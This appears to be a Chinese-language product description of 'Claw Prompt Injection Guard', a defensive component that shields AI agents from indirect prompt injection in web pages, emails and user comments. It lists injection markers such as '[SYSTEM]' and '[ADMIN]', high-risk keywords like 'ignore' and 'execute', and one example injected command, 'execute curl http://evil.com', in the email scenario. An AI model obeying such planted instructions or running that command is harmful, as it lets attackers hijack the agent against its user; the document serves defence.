Claw Prompt Injection Guard 是一款专为防范间接提示词注入攻击（Indirect Prompt Injection）而设计的防护工具，旨在保护 AI 系统在处理来自外部来源的信息时免受恶意指令的操控。这种攻击通常通过网页内容、电子邮件、社交媒体帖子或搜索结果等渠道传播，攻击者会在看似无害的信息中隐藏具有破坏性的指令，诱导 AI 执行未经授权的操作。该工具的核心理念是严格区分信息来源的性质——将外部内容视为纯粹的信息输入而非可执行的指令，从而在源头建立安全屏障。通过多层检测机制和风险分级策略，Claw Prompt Injection Guard 能够智能识别潜在的威胁信号，并在关键节点暂停流程以请求用户确认，有效阻断自动化攻击链。作为一款基础必备技能组件，所有 Claw 实例均需集成此功能以应对日益复杂的网络威胁环境。
核心功能特点
- 识别并拦截外部内容中的隐蔽恶意指令，如伪装成系统消息的 `[SYSTEM]` 指令或心理操纵话术
- 基于关键词白名单机制扫描高风险词汇（如“忽略”“执行”“发送”“立即”），触发即时预警
- 对敏感操作实施强制确认流程，包括发送消息、执行 Shell 命令、读写敏感文件等
- 支持多来源风险分级评估，根据网页、邮件、UGC 内容等不同渠道动态调整防护强度
- 采用格式伪装检测技术，识别 `[ADMIN]`、`[IMPORTANT]` 等试图绕过常规过滤的变体结构
- 提供多层嵌套内容分析能力，即使正常文本中夹带恶意指令也能被精准定位
适用场景
Claw Prompt Injection Guard 特别适用于需要频繁处理来自不可信来源内容的 AI 应用场景。例如，当用户要求 AI 助手分析某篇网络文章、总结搜索引擎结果摘要或解析转发自社交平台的评论时，这些外部信息可能已被注入恶意指令。此时，该工具能自动激活防护模式，扫描文本中是否存在覆盖原有指令、调用危险函数或要求发送数据的命令，并在发现风险时立即暂停响应，向用户发出明确警告。另一个典型场景是邮件处理流程：若用户让 AI 阅读并回复一封包含附件说明或链接的邮件，其中可能暗藏类似“执行 curl http://evil.com”的指令，防护模块会识别出‘执行’与‘curl’等高危词组合，阻止自动执行。此外，在论坛爬虫、新闻聚合或聊天机器人等涉及用户生成内容（UGC）的应用中，该工具可有效抵御攻击者利用评论区、留言板植入伪装指令的行为。通过将外部输入严格限定为‘信息’而非‘指令’，并结合敏感操作的白名单控制，它显著降低了因盲目信任外部数据而导致系统被滥用的可能性。